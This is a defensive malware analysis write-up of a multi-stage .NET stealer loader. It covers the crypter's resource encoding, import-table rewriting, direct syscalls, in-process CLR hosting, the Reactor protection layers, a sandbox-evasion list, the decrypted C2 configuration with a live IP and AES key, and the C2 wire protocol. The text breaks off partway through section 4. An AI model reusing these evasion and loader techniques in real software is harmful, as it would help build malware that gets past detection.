0. Preface
This sample was pulled from https://abilityindisabilityindia.org/rock.exe, live and serving at the time of analysis. It arrived in a folder named purelogs-stealer.
That label is plausible and, by the end, well supported — but still not proven. Nothing in any of the three stages contains the string “PureLogs”, a family mutex, or a version banner. What the final stage does provide is a behavioural profile that fits closely: a .NET client under .NET Reactor, a hardcoded IP with no DNS, HTTPS on a non-standard port, a protobuf-serialised configuration carrying a build id and a campaign tag, a thirteen-endpoint HTTP API, a plugin-delivery model where collection modules are fetched at runtime, and no persistence of any kind. It is not a positive identification, and section 6 says what would settle it.
The interesting part of this sample is not the stealer. It is the delivery: a 5 MB native crypter that carries its payload as fake WAV and dialog resources, rewrites its own import table at runtime to defeat imphash, resolves modules by scanning address space rather than walking the PEB, and then — instead of hollowing a process — hosts the CLR in-process and calls Assembly.Load on the decrypted bytes. The crypter announces itself internally as XHOMEM01, which is what this post calls it for lack of a public name.
Stages 1 and 2 were recovered statically. The container decode was reproduced by emulating one function under Unicorn on Linux; the sample was never run to get it. Stage 3 required execution, in an isolated Flare-VM on an internal-only network segment with no route out.
The C2 conversation in section 3.15 was captured by aliasing the C2’s own address onto the guest’s adapter and answering it locally. No packet ever left the lab and the real server was never contacted — every request shown below was served by a listener under my control.
Decompilation of the native stage used kuna; the managed stages used ilspycmd and DotDumper.

Every stage in that diagram runs inside the single rock.exe process. No child process is created at any point, which is the detail most worth carrying into section 3.6.
1. Sample Information
- Original file name:
rock.exe - File type: executable, 64-bit (PE32+), GUI subsystem, 7 sections
- File size: 5048832 bytes (5.048832 MB)
- Hash values:
- MD5: 12d8fc4ef7323c29db4ce0326ca76054
- SHA1: c7967992e8dfc9d4d338346605a164e4a2b75d26
- SHA256: 99e390cbadb6065d5ec31f3283440835af2416014b1fac20c78a7d5c5502910f
- Compiler: Microsoft Visual C/C++ 19.51.36252, linker 14.51.36252 (Visual Studio 2026)
- Compile Timestamp: Thu Jun 14 07:32:18 2012 — forged
- Packing/Obfuscation: Not packed in the conventional sense. Custom multi-layer resource encoding, runtime IAT rewriting, direct syscalls, stack-string API names
- File Entropy Details:
| Sections | Entropy |
|---|---|
| .text | 6.43 |
| .rdata | 6.20 |
| .data | 1.16 |
| .pdata | 5.70 |
| .fptable | 0.00 |
| .rsrc | 5.13 |
| .reloc | 5.05 |
The timestamp is the first thing that does not add up. A linker version of 14.51 belongs to Visual Studio 2026; a 2012 date is a straight edit. Note also that no section is above 6.5 and .rsrc sits at 5.13 — this file does not look packed to an entropy heuristic, which is the point of the encoding described in section 3.3.
The version resource claims:
CompanyName Wren and Lumen Software GmbH
ProductName Scrap for Lists
FileDescription Desktop Palette for drafts.
OriginalFilename scrapforlists.exe
FileVersion 4.0.382.2
LegalCopyright Copyright (C) 2016-2018 Wren and Lumen Software GmbH.
No such vendor or product exists. The binary is unsigned, and the UI strings scattered through .rdata (“Apply”, “List View”, “Brightness”, “Bullets”, “Auto Theme”) sit alongside procedurally generated nonsense names — “Algrovete olpointin”, “Alvish olbrooksu”, “Begrove olgroveha”, “Bender arpper”. These are generator output, not a real application’s string table.
2. PE File Structure
- Sections overview:
| Sections | Virtual Size | Raw Size |
|---|---|---|
| .text | 621776 | 622080 |
| .rdata | 205750 | 205824 |
| .data | 73664 | 11776 |
| .pdata | 11136 | 11264 |
| .fptable | 256 | 512 |
| .rsrc | 4193496 | 4194304 |
| .reloc | 1724 | 2048 |
ImageBase is 0x140710000, SizeOfImage is 0x4E3000. There is no overlay: .reloc ends at file offset 0x4D0A00, which is exactly the file size.
Two things stand out.
.rsrc is 83% of the file. 4.19 MB of a 5.05 MB binary. That is where the payload lives, and section 3.3 covers how.
.fptable is not a standard section. 256 bytes, zero-filled at rest, and nothing in .text references its address range. It is populated at runtime and dispatched through, which is why a naïve call graph from the entry point reaches only 77 of the 1,179 functions kuna recovers. Anyone triaging this by walking calls from main will conclude it does almost nothing. Section 3.12 covers how it is filled.
- Suspicious Imports:
KERNEL32.dll:CreateFileW,WriteFile,SetFilePointerEx,FindFirstFileExW,FindNextFileW,GetModuleFileNameW,GetTimeZoneInformation,LocalReAlloc,AddConsoleAliasA,AddRefActCtx,AddRefActCtxWorker,BaseFormatTimeOut,GetBinaryTypeW,GetTimeFormatW,GetDateFormatW,AcquireSRWLockExclusiveADVAPI32.dll:RegOpenKeyExW,RegQueryValueExW,GetUserNameWSHELL32.dll:SHGetFolderPathW,SHGetKnownFolderPath,CheckEscapesWole32.dll:CoInitializeEx,CoTaskMemFree,CoUninitializeUSER32.dll/GDI32.dll/COMCTL32.dll: window and imagelist calls consistent with the decoy application
- Exports:
- (none — this is an EXE)
- Certificate:
- Unsigned
Read at face value, that import table describes a small GUI utility. There is no VirtualAlloc, no VirtualProtect, no CreateProcess, no WriteProcessMemory, no LoadLibrary, no GetProcAddress, nothing from wininet/winhttp/ws2_32, and no crypto imports at all. A sandbox scoring on imports alone finds nothing to score.
The odd names in that list — AddConsoleAliasA, AddRefActCtxWorker, BaseFormatTimeOut, CheckEscapesW — are the tell. Section 3.1 shows that ten of them are placeholders that get overwritten before main runs.
The CLR-related strings sit in .rdata in plaintext and are the clearest early signal of what this actually is:
mscoree.dll mscorlib.dll System.dll
System.Core.dll System.Drawing.dll System.Management.dll
System.Windows.Forms.dll Microsoft.VisualBasic.dll
Microsoft.NET\Framework64\v4.0.30319\
None of those DLLs are imported. They are loaded by hand at runtime.
3. Code and Disassembly Observation
The execution order is not what the PE layout suggests. The entry point at 0x1407969CC calls sub_1407477F4 before the CRT startup at sub_140797210. That first call is the IAT rewriter.
3.1 The import table is rewritten before main
sub_1407477F4 locates its own image by scanning downward from 0x140740000 in 0x10000 steps for a valid MZ/PE pair, falling back to PEB->ImageBaseAddress at gs:[0x60]+0x10. It reads DataDirectory[1] (import directory) at e_lfanew+0x90, walks the descriptors at stride 0x14, and for each named import compares it case-insensitively against a set of runtime-resolved API names — overwriting the IAT slot on a match.
The name table lives at 0x1407DC110. Its layout is a 2-byte count at offset 8, then entries of:
struct { uint32_t thunk_rva; uint8_t len; uint8_t key; uint8_t enc[len]; };
// name[i] = (i + key) ^ enc[i]
Ten entries decode:
| Static (decoy) import | Real API at runtime |
|---|---|
LocalReAlloc | VirtualQuery |
GetDateFormatW | GetProcAddress |
GetBinaryTypeW | LoadLibraryExW |
GetTimeFormatW | VirtualProtect |
AddConsoleAliasA | GetModuleHandleW |
AcquireSRWLockExclusive | QueryPerformanceCounter |
AddRefActCtx | GetTickCount |
AddRefActCtxWorker | GetModuleHandleExW |
BaseFormatTimeOut | IsDebuggerPresent |
CheckEscapesW | ShellExecuteW |
The imphash of this file describes an import table that never exists while the program is running. Any detection keyed to it is keyed to a decoy the author chose.
To make those IAT pages writable, the routine does not call VirtualProtect — it builds its own syscall stubs. It resolves NtProtectVirtualMemory and NtAllocateVirtualMemory from ntdll, checks the first bytes for the 4C 8B D1 B8 prologue (mov r10, rcx; mov eax, <ssn>), extracts the syscall number, allocates RWX memory and writes a fresh stub with that SSN patched in. If the target stub is hooked and the prologue does not match, it scans neighbouring stubs at index * 32 and derives the SSN from a clean neighbour — the technique commonly called Halo’s Gate.
3.2 Modules resolved by scanning, not by walking the PEB
sub_14071331C does not touch PEB->Ldr. It iterates 0x7FF800000000 to 0x7FFFFFFEFFFF in 0x10000 steps (then 0x70000000–0x7FFEFFFF), validates a PE at each address, reads the export directory name at DataDirectory[0]+0xC, and compares it case-insensitively to a target string assembled on the stack by five separate helper functions.
The practical consequence: there is no module-list access to hook and no GetModuleHandle call to breakpoint. API names never appear as contiguous strings — sub_140723C40 is a switch over ~40 indices that builds each name from immediates ("LoadLibr" + "ar" + "yW"), calls the resolver, then zeroes the stack buffer. The recovered set includes CreateToolhelp32Snapshot, Process32FirstW/NextW, OpenProcess, TerminateProcess, CreateThread, WaitForSingleObject, CreateFileW/A, CopyFileW, SetFileAttributesW, GetTempPathW/A, and — decisively — CLRCreateInstance and CorBindToRuntimeEx.
3.3 The payload is stored as fake WAV and dialog resources
.rsrc holds 121 resources under invented type names: FORM, HOTKEY, INI, PAGE, WAVE, LOCALE_DATA, TEXLUTCURVE. The type is selected by ID mod 5, so IDs 15001–15068 and 19800–19843 cycle HOTKEY → FORM → PAGE → INI → WAVE.
They are not decorative. The WAVE entries are real RIFF files with valid 8-bit PCM headers; the FORM entries carry plausible dialog headers with font names. Underneath, every payload byte falls in one of two 16-value alphabets — 0x90–0x9F and 0xA8–0xB7 — which is a nibble encoding that also keeps the bytes inside a narrow band so the WAV data reads as low-amplitude audio. That is why .rsrc entropy is 5.13 rather than 7.9.
The decode chain lives in sub_14072F0D4:
- The seed table is
WAVE/4016at RVA0x0ECC18—0x1C01bytes copied out of a 7,213-byte WAV. 0x158927bytes are gathered from ~70 generated appender functions and nibble-decoded 2:1 into0xAC480bytes.- A per-byte transform mixes in a
0xE00-byte table derived from the seed:
// mix(x, c): v = (x ^ c) * 0xE49B5DDB;
// v = (v>>16 ^ v) * 0xF1F6F7CD;
// v = (v>>16 ^ v) * 0x0B11FA6D; return v>>16 ^ v;
h1 = mix(i+1, 0xCC30B9FD);
h2 = mix(i, 0x174DD3F2);
h3 = mix(i+1, 0x29A2C7B3);
t = tbl[(h1 % 7) * 0x200 + (h2 & 0x1FF)];
out[i] = (uint8_t)(h3>>16 ^ h3) + ror8(t,1) + in[i];
- A second pass XORs with
mix(i + 0xC0A7, 0xA8E3FB65). - The result is decompressed into a
0xCD600-byte buffer.
The constants are Murmur3’s finaliser multipliers with custom seeds — a hand-rolled mixer, not a standard cipher, which is why no crypto constant search finds anything in this file.
The output is validated against MZ, then a list of archive magics (D0CF11E0, MSCF, PK\x03\x04, 7z\xBC\xAF, Rar!), then against an XHOMEM01 trailer.
3.4 The XHOMEM01 container
sub_1407464A8 parses a trailer, not a header — it indexes backwards from the end of the buffer:
[-0x18] "XHOMEM01" (8 bytes)
[-0x10] uint32 payload_offset (>= 0x200, < total)
[-0x0c] uint32 table_size (== total - payload_offset - 0x18)
[-0x08] uint32 entry_count (1..0xFF)
[-0x04] uint32 key
A 20-byte variant omits the key. Entries are 264 bytes each, name-prefixed; the loader looks for one named xh_om_boot. Per-entry payloads are decrypted by sub_140721358 with a keystream XOR:
x = (i * 0x9E3779B9) ^ key;
x ^= (x ^ 0x0B171E10) << 13;
y = (x ^ ((x ^ 0x0B171E10) >> 17) ^ 0x0B171E10) * 0x85EBCA6B;
out[i] = (uint8_t)(y >> 16) ^ (uint8_t)y ^ in[i];
// key == 0 fallback: out[i] = i ^ in[i] ^ 0xA5
A decrypted blob beginning "DF\x01\x00" plus a uint32 size is decompressed again; the result must start with MZ.
In this build the container path is not taken — the 0xCD600 buffer is the PE, and the trailer check exists for containers this sample does not carry. The format supports up to 255 named entries and a native reflective loader (sub_14071363C) alongside the managed one, so this is general crypter machinery being used for a single payload.
3.5 Recovering the payload without running it
Because sub_14072F0D4 is pure computation over the mapped image — its only external calls are the CRT allocator and memset — it can be emulated rather than detonated. Mapping the image at ImageBase under Unicorn, hooking the allocator at 0x1407972D0/0x1407971E0 and free at 0x1407971D0 with a bump allocator, and calling it with a 0xCD600 destination yields the payload in about a minute on Linux.
A note for anyone reproducing it: registering a UC_HOOK_CODE without a begin/end range costs a Python callback per instruction and will not finish. Scope each hook to its single address.
3.6 CLR hosting, not process hollowing
This is the part worth flagging for detection engineers. sub_14074CD34 does not spawn a host process. It:
- resolves
oleaut32.dlland pullsSafeArrayCreateVector,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SysAllocString; - calls
GetWindowsDirectoryW, appendsMicrosoft.NET\Framework64\v4.0.30319\, andLoadLibraryWs seven framework assemblies (mscorlib,System,System.Core,Microsoft.VisualBasic,System.Windows.Forms,System.Management,System.Drawing) — both a dependency warm-up and an implicit “is .NET 4 present” check; - copies the payload into a
SafeArrayCreateVector(VT_UI1, 0, size); - calls
_AppDomain::Load_3(byte[])at vtable offset0x168; - calls
_Assembly::get_EntryPoint()at0x80; - builds
string[] argsasVT_ARRAY|VT_BSTRinside aVT_VARIANTSafeArray; - calls
_MethodInfo::Invoke_3at0x128, retrying with a null argument array so that bothMain()andMain(string[])signatures work.
Before invoking, it resolves LoadLibraryA("ws2_32") and calls WSAStartup(0x202, ...) — priming Winsock for the managed payload, since the managed code does not do it itself.
The whole payload lifecycle happens inside rock.exe. There is no child process, no RegAsm/InstallUtil/MSBuild, no hollowed svchost, and no WriteProcessMemory. Detections built around “unusual parent spawns .NET utility” will not fire on this. The observable is mscoree.dll and the .NET 4 framework assemblies loading into a process whose own imports contain nothing managed.
sub_14071EF9C runs the dispatcher on a CreateThread with a WaitForSingleObject timeout of 180,000 ms.
3.7 The breadcrumb file
sub_14072F874 is called throughout stage 1 with a 16-bit status constant. It appends the code to a 32-entry array at 0x1407E23A0 and writes %TEMP%\xh_om_mark.bin. It is an author’s debugging artefact rather than malware functionality, and it is the single most specific host indicator this stage leaves. It was not observed in the dynamic run, because that run started at stage 2 — see section 6.
3.8 Stage 2: Reactor with a JIT hook
Stage 2 is Zajqbcakx.exe, 841,216 bytes, .NET 4.0, protected with .NET Reactor 6.X (control flow, anti-ILDASM, SuppressIldasmAttribute). MVID cbf887de-5dfb-4161-a908-cfbe99e203f0.
Its payload is a 483,282-byte manifest resource at entropy 8.000. API names are split to defeat string scanning — "Find " + "ResourceA", "Virtual " + "Alloc", "Write " + "Process " + "Memory", "kernel " + "32.dll" — and resolved through Marshal.GetDelegateForFunctionPointer.
Those particular APIs are Reactor’s, not the malware’s. The giveaway is a delegate declared as:
delegate uint (IntPtr classthis, IntPtr comp, IntPtr info, uint flags,
IntPtr nativeEntry, ref uint nativeSizeOfCode);
That is the CLR JIT’s compileMethod signature. Reactor hooks it and decrypts method bodies at JIT time, which is what makes the protection resistant to static IL reading and to de4dot (v3.1.41592.3405 reports “Unknown Obfuscator” and fails on the metadata).
Two hardcoded AES-256 key/IV pairs are recoverable from the IL. Neither decrypts the payload resource: the pair carrying a full key and IV sits in a method that is never called, and testing both against all four managed resources at every plausible offset produced no valid header. The real key is produced by the JIT hook at runtime.
3.9 Stage 3, and why unpacking it needs the original load path
Assembly.Load(byte[]) fires three times under DotDumper. The final assembly is Wmtyrcay, 857,088 bytes, .NET 4.5 — and also .NET Reactor 6.X, this time with anti-tamper added.
Reactor’s anti-tamper rejects Assembly.LoadFile on the dumped file: the <Module> type initialiser throws and no static field is reachable. Loading the same bytes the way the malware does — Assembly.Load(byte[]) — satisfies it and the assembly initialises normally.
That gives access to the string table. In CV9pyT9DQ8(int), initialisation of the backing array happens before the StackFrame-based caller check, so triggering it and reading the field directly works even when the call itself throws. The decoded blob is a sequence of [int32 length][UTF-16 string].
It contains only ten entries, and the one that matters is a 312-character base64 string. Index-of-coincidence over the decoded 232 bytes spikes at key length 6 and its multiples; solving each column against a System crib gives repeating-XOR key 0C D3 DF FB 9A 82 and:
System.Reflection.Assembly;GetEntryAssembly;get_FullName;op_Inequality;
get_Length;GetTypeFromHandle;get_Name;IndexOf;ReadString;Add;get_Position;
get_CurrentDomain;SetData;32337;AssemblyServer;SimpleAssemblyExplorer;
babelvm;smoketest
This is Reactor’s own anti-analysis blocklist — SimpleAssemblyExplorer, babelvm and smoketest are unpacking tools it refuses to run under — not a malware configuration. The stealer’s own strings stay behind the JIT hook, so the C2 was obtained behaviourally instead.
3.10 Observed runtime behaviour
Executed in an isolated VM for five minutes, stage 2 unpacks stage 3 and the resulting process makes exactly one outbound attempt, repeatedly:
10.0.2.15:53295 -> 5.230.201.228:8443 SynSent
Properties worth recording:
- No DNS. The address is hardcoded; there is no domain to sinkhole and no resolution event to alert on.
- Retried continuously for the full five minutes without backing off or falling back to a secondary address. No embedded C2 list.
- No persistence. No
Runkey, no Startup entry, no scheduled task, no dropped file anywhere under%TEMP%,%APPDATA%or%LOCALAPPDATA%.
That last point is a family-shaped observation. A stealer that never persists is built to run once, exfiltrate, and be gone.
The capture itself was empty, and it is worth being precise about why: the handshake never completed, so no application-layer bytes were ever transmitted. An empty capture is evidence that the connection failed, and nothing more — it says nothing about the protocol. Section 3.11 infers the protocol from metadata; section 3.15 fixes the routing and observes it directly.
3.11 What the metadata gives up that the strings do not
Reactor encrypts method bodies and strings, but it cannot obfuscate external references: every BCL type and member a method calls must remain resolvable through the TypeRef and MemberRef tables, in plaintext, or the JIT could not bind them. That makes the capability surface of stage 3 statically recoverable even though its logic is not.
The referenced namespaces are Microsoft.Win32, System.Management, System.Net, System.Net.Http, System.Net.NetworkInformation, System.Net.Security, System.IO.Compression, System.Security.Cryptography, System.Drawing, System.Windows.Forms, System.Reflection.Emit.
The member names that matter:
| Area | Referenced members |
|---|---|
| HTTP | HttpClient, HttpResponseMessage, GetAsync, PostAsync, ByteArrayContent |
| Registry | Registry, RegistryKey, OpenSubKey, GetValue, GetSubKeyNames |
| Process | GetProcesses, GetProcessById, GetCurrentProcess, get_ProcessName, ProcessModule |
| Host | GetAllNetworkInterfaces, DriveInfo, SpecialFolder, GetTempPath |
| Crypto | Aes, Rijndael, TripleDES, RC2, MD5, SHA1, CryptoStream, CreateDecryptor, CreateEncryptor |
| Compression | GZipStream |
| Concurrency | Mutex, Thread, Task, Sleep |
Two absences carry as much weight as the presences.
There is no socket layer. Socket, TcpClient, NetworkStream, SslStream, UdpClient, WebClient, WebRequest and HttpWebRequest are all absent from the metadata. The only network client referenced is HttpClient, and PostAsync with ByteArrayContent is a binary HTTP POST. The C2 channel is HTTP(S) on port 8443, not a bespoke TCP protocol — 8443 is simply a non-standard TLS port.
There is no credential-access machinery. No SQLite of any kind, no Bitmap, Graphics, CopyFromScreen or Clipboard, and no browser, wallet or messenger path strings anywhere in the assembly. (A keyword grep returns four apparent hits; all four are OperationalStatus and InvalidOperationException matching on “opera”.) Screen, get_AllScreens and get_PrimaryScreen are referenced, but without any capture type there is enumeration and no screenshot.
So what stage 3 can be shown to do is: enumerate drives, network interfaces, processes and registry keys; guard itself with a named Mutex; compress with GZip and encrypt; and POST binary bodies over HTTPS to a hardcoded endpoint. That is a host-survey agent with an exfiltration channel — not, on this evidence, a browser credential stealer.
The unmanaged delegate declarations are worth reading carefully, because they look more alarming than they are:
delegate uint (IntPtr classthis, IntPtr comp, IntPtr info, uint flags,
IntPtr nativeEntry, ref uint nativeSizeOfCode); // compileMethod
delegate IntPtr(IntPtr hModule, string lpName, uint lpType); // FindResource
delegate IntPtr(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
delegate int (IntPtr hProcess, IntPtr lpBaseAddress, [In][Out] byte[] buffer,
uint size, out IntPtr lpNumberOfBytesWritten); // WriteProcessMemory
delegate int (IntPtr lpAddress, int dwSize, int flNewProtect, ref int lpflOldProtect);
WriteProcessMemory alongside VirtualAlloc and VirtualProtect reads like injection, but it is Reactor’s own JIT-hook installing decrypted method bodies into the current process. The compileMethod signature at the top of that list is what identifies the set. Only IsDebuggerPresent, LoadLibrary and GetProcAddress are declared as ordinary DllImports.
Finally, stage 3 contains no call to Assembly.Load at all. Its only two named manifest resources — YOb7AMX8T9GKB27IBM.5xLJMpRKHy3kecfjWR (the 752-byte string table from 3.9) and gosamp7hjBQTo3KufF.JCMFlrFEUYQCUXigxj (read through a BinaryReader in Reactor’s usual table pattern) — are both protector infrastructure. There is a 183,790-byte unnamed resource at entropy 7.999, which on this evidence is Reactor’s encrypted method bodies rather than a further payload, though that has not been decrypted either way. Stage 3 is the end of the chain.
3.12 Randomised dispatch, and the crash that never happens
Two mechanisms sit behind the loader that are easy to mistake for something else on a first pass.
The first fills .fptable. A grep for rdtsc finds five instructions, three of them in the crypter’s own code, which looks like timing-based anti-debug. It is not. rdtsc is read once, to seed a PRNG:
if (!seed) seed = (uint32_t)rdtsc() ^ 0xA0EE6080;
seed ^= seed << 13; seed ^= seed >> 17; seed ^= seed << 5; // xorshift32
sub_140724490 uses that stream to index a dispatcher table at 0x1407EAD00 and assemble a trampoline at runtime:
48 B8 <imm64> mov rax, <randomly chosen dispatcher>
49 BA <imm64> mov r10, <arg>
49 BB <imm64> mov r11, <arg>
48 FF E0 jmp rax
Bytes 0x21–0x40 of that stub are then filled with further PRNG output as padding. Every run wires its indirect calls through a different dispatcher, which is what makes the static call graph so shallow. There is no cpuid in the binary at all, and no VM, sandbox or analysis-tool string anywhere in it.
The second mechanism is more interesting. Once the payload has been identified as managed (3.13), the loader calls SetUnhandledExceptionFilter with sub_140723250. That filter matches exactly three exception codes:
| Code | Meaning |
|---|---|
0xE0434352 | CLR exception |
0xE0434F4D | legacy CLR exception |
0xC0000409 | STATUS_STACK_BUFFER_OVERRUN (fail-fast) |
On a match it does not terminate. It calls sub_14072D210, which resolves Sleep from a stack string (0x7065656C53) and enters an unbounded loop:
for (;;) {
while (pSleep) pSleep(60000);
for (int i = 0; i < 50000000; i++) { } // spin if Sleep never resolved
}
So when the managed payload throws anything the runtime does not catch, the process hangs forever instead of crashing. The effect is that Windows Error Reporting never fires, so no crash dump is written — and a dump at that moment would contain the fully decrypted stage 2 and stage 3 assemblies in memory. It also changes how the sample presents to an automated sandbox: a run that should end in an unhandled-exception exit instead looks like a long-running process that simply never finishes.
Worth keeping in mind when triaging a host: a wedged process consuming no CPU is a plausible artefact of this loader, not evidence that it did nothing.
3.13 The paths this build does not take
The dispatcher supports more than this sample uses, and the unused branches say something about the crypter as a product.
A managed/native gate. sub_140735518 decides which loader to hand the payload to. It is not an environment check — it is a “is this a .NET assembly?” test, satisfied either by sub_14073DF5C (a valid DataDirectory[14] CLR header of at least 0x48 bytes, handling PE32 and PE32+ separately) or by sub_14073D2FC (a linear scan of the first 64 KB for the BSJB metadata signature).
Load versus invoke. Container entries carry a flag at offset +0x101. Set, and sub_14074CD34 loads and invokes the entry point (3.6). Clear, and sub_14074A0AC runs instead — it builds the same VT_UI1 SafeArray and calls the same _AppDomain::Load_3 at vtable +0x168, but then returns without touching get_EntryPoint. Those are dependency assemblies being pushed into the AppDomain so the boot assembly can resolve them from memory rather than disk.
A native reflective loader with a Go profiler. When the payload is not managed, sub_14071363C hands it to sub_140721468, a manual mapper that walks sections, resolves imports by name and by ordinal, and applies section protections through function pointers rather than imports. Before mapping, it profiles the payload: section names .go and .sym, and the byte strings runtime.main and go.buildid. A hit sets a global that changes how the rest of the mapping proceeds — Go’s runtime does not tolerate the usual manual-mapping shortcuts. A crypter that special-cases Go binaries is a crypter sold to more than one customer.
None of this executes here. This sample’s payload is managed, so the gate routes it to the CLR path and the native mapper, the ordinal import resolver and the Go profiling are all dead code in this build.
3.14 Breaking the string encryption, and what it exposes
NETReactorSlayer 6.4 handles Reactor 6 where de4dot cannot. On stage 3 it removed the anti-tamper and anti-debugger, fixed 4,559 proxied calls and stripped 367 obfuscator calls — but reported Could not initialize decrypter for methods, failed on strings, and warned that code virtualization is present. So the deobfuscated assembly is more readable, not fully readable.
The strings came out a different way. Assembly.Load(byte[]) satisfies the anti-tamper (3.9), so the assembly can be loaded and its string decryptors invoked directly by reflection. Harvesting the 247 decryptor tokens from the deobfuscated IL and calling all four static string(int) candidates yields 640 strings. Two of the four decryptors resolve the interesting ones.
What that dump contains reframes the analysis.
A large anti-analysis set — which stage 1 does not have. Stage 3 checks:
| Class | Values |
|---|---|
| Hypervisor MAC OUIs | 000569, 000C29, 005056 (VMware), 080027 (VirtualBox), 525400 (QEMU/KVM), 00155D (Hyper-V), 00163E (Xen), 001C42 (Parallels) |
| Guest-tool processes | vmtoolsd, vmacthlp, VMwareUser, VMwareTray, VBoxService, VBoxTray, prl_tools, prl_cc, qemu-ga, xenservice, vmuser |
| Analysis tools | windbg, x32dbg, x64dbg, ollydbg, immunity, wireshark, fiddler, procmon, regmon, filemon, tcpview, devenv |
| Sandbox artefacts | sbiedll.dll, cuckoomon.dll, C:\cuckoo, C:\sandbox, C:\sample, C:\analysis, C:\malware |
| Drivers | VBoxMouse.sys, VBoxSF.sys, VBoxGuest.sys, VBoxVideo.sys, vmmouse.sys, vmhgfs.sys, vmscsi.sys, vmmemctl.sys, vmx_svga.sys, vm3dgl.dll, xenfilt.sys, xenbus.sys, xenpci.sys, xeniface.sys, xennet.sys, qemuwmi.sys |
| Registry | HARDWARE\ACPI\DSDT\VBOX__, HARDWARE\ACPI\FADT\VMWARE, SYSTEM\CurrentControlSet\Enum\PCI\VEN_15AD*, …\VEN_80EE*, IDE\CdRomVBOX_*, SOFTWARE\Oracle\VirtualBox Guest Additions, SOFTWARE\VMware, Inc.\VMware Tools, SOFTWARE\Citrix\XenTools, SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters |
| WMI | Win32_Processor, Win32_ComputerSystem, Win32_BIOS, Win32_BaseBoard, TotalPhysicalMemory, HypervisorPresent |
This is worth stating plainly because it corrects the shape of section 3.12: the crypter has no environment checks at all, and the payload has a comprehensive set. Judging the sample by the native stage alone gets that backwards.
The C2 API, in full. Thirteen endpoints:
/ping /plugin /userinfo /application
/browser /discord /crypto /finish
/filesearch/req /filesearch/res
/chunk/start /chunk/data /chunk/end
plus the header name X-Api-Key and the content type application/octet-stream.
Those names settle a question section 3.11 had to leave open. Stage 3 genuinely contains no browser, wallet or messenger code — but /browser, /discord and /crypto are endpoints it knows how to talk to, and /plugin is the first thing it requests after check-in. The collection capability is not absent; it is downloaded. A client dumped from disk will never show the stealing logic, because the operator ships it per-victim at runtime.
The embedded configuration. One decrypted string is base64, and decodes to a protobuf message:
| Field | Value |
|---|---|
| 1 | https://5.230.201.228 |
| 2 | 8443 |
| 3 | (empty) |
| 5 | 7894a7389068 — build identifier |
| 6 | bebe — campaign tag |
| 7 | d96f206f5aa12724875d202df368a8c1adefac20fb57178930189747b9e87262 — AES-256 key |
Protobuf serialisation and a campaign tag in the config are both consistent with the family this sample was filed under, though still not proof of it.
3.15 The C2 conversation
The reason the earlier FakeNet run captured nothing (3.10) was routing: on an isolated segment the SYN had nowhere to go. The fix needs no contact with the real server — alias 5.230.201.228/32 onto the guest’s own adapter and listen on 8443, and the handshake completes against a local listener.
The client sends a TLS 1.2 ClientHello with 21 cipher suites, extensions 10,11,13,35,23,65281, curves 29-23-24, and no SNI — consistent with a bare-IP target and with .NET Framework’s SChannel stack, which corroborates the HttpClient finding from metadata:
JA3 771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-
49172-49171-157-156-61-60-53-47-10,10-11-13-35-23-65281,29-23-24,0
c12f54a3f91dc7bafd92cb59fe009a35
Terminating TLS with a self-signed certificate carrying an IP SAN — trusted machine-wide in the guest — yields the first request in the clear:
GET /ping HTTP/1.1
Host: 5.230.201.228:8443
Connection: Keep-Alive
No User-Agent at all. Answering 200 OK produces the next request immediately:
POST /plugin HTTP/1.1
Content-Type: application/octet-stream
Host: 5.230.201.228:8443
Content-Length: 48
That 48-byte body decrypts under the config key from 3.14 as [16-byte IV] || AES-256-CBC(payload), PKCS7 padded, and the plaintext begins 1f 8b 08 — GZip. Decompressed it is two bytes, 42 00: a protobuf message with field 8 set to the empty string. An empty plugin request.
So the wire format is:
POST <endpoint> Content-Type: application/octet-stream
body = IV(16) || AES-256-CBC-PKCS7( GZip( protobuf ) ) key = config field 7
The conversation stops there, because an empty 200 is not a plugin the client can parse. Going further would mean reverse-engineering the response format and synthesising a plugin — a different exercise, and one that would produce a fake payload rather than the operator’s.
4. Malware Capabilities
- Defense Evasion:
- Ten import table entries overwritten at runtime from an encrypted name table — the static imphash describes a decoy (3.1)
- Direct syscalls for
NtAllocateVirtualMemory/NtProtectVirtualMemory, with SSNs read fromntdllstubs and a neighbour-scan fallback when hooked (Halo’s Gate) - Module bases found by scanning address space and matching export-directory names — no PEB walk, no
GetModuleHandle - All API names built from immediates on the stack and zeroed after use; none appear in a strings dump
- Payload stored as syntactically valid WAV/dialog resources under invented types, nibble-encoded to hold
.rsrcentropy at 5.13 - Custom Murmur-derived mixer and keystream XOR — no recognisable crypto constants anywhere in the file
.fptablepopulated at runtime with randomised trampolines seeded from a singlerdtscthrough an xorshift32 PRNG, so a static call graph from the entry point reaches 77 of 1,179 functions and the dispatch path differs every run (3.12)- Unhandled managed exceptions are converted into an infinite
Sleep(60000)loop rather than a crash (3.12) — Windows Error Reporting never fires, so no dump is written at the moment the decrypted stage 2 and stage 3 assemblies are resident in memory - Forged compile timestamp (2012 against a VS 2026 toolchain); fabricated vendor and product metadata
- Two independent layers of .NET Reactor 6.X, the second with anti-tamper and a
compileMethodJIT hook IsDebuggerPresentresolved into the IAT (3.1), though no call site to that slot appears in.text— it may be reached only through the runtime dispatch table- In the native stage only: no VM fingerprinting, no
cpuidanywhere in the binary, no sandbox or analysis-tool string. The threerdtscreads seed the dispatch PRNG and are not timing checks (3.12) - Stage 3 is the opposite — it carries a large VM, sandbox and analysis-tool detection set (3.14): hypervisor MAC OUIs, guest-tool processes and drivers, ACPI/PCI registry keys, WMI hardware queries, debugger and network-monitor process names, and sandbox marker paths
- Discovery:
- Stage 1:
GetWindowsDirectoryWto locate the .NET 4 framework directory - Stage 1:
RegOpenKeyExW/RegQueryValueExWagainstSOFTWARE\Microsoft\Windows NT\CurrentVersion;GetUserNameW;SHGetFolderPathW/SHGetKnownFolderPath - Stage 1:
CreateToolhelp32Snapshot+Process32FirstW/NextW+OpenProcess+TerminateProcessresolved and available to the loader - Stage 1: A separate routine fingerprints other PE files for
.go/.symsections (Go binary detection) - Stage 3, from metadata (3.11): registry enumeration (
OpenSubKey,GetValue,GetSubKeyNames), process enumeration (GetProcesses,GetProcessById,get_ProcessName), network interface enumeration (GetAllNetworkInterfaces), drive and special-folder enumeration (DriveInfo,SpecialFolder,GetTempPath) - Stage 3: screen enumeration only (
get_AllScreens,get_PrimaryScreen) — noBitmap,GraphicsorCopyFromScreen, so no capture
- Stage 1:
- Collection and Staging:
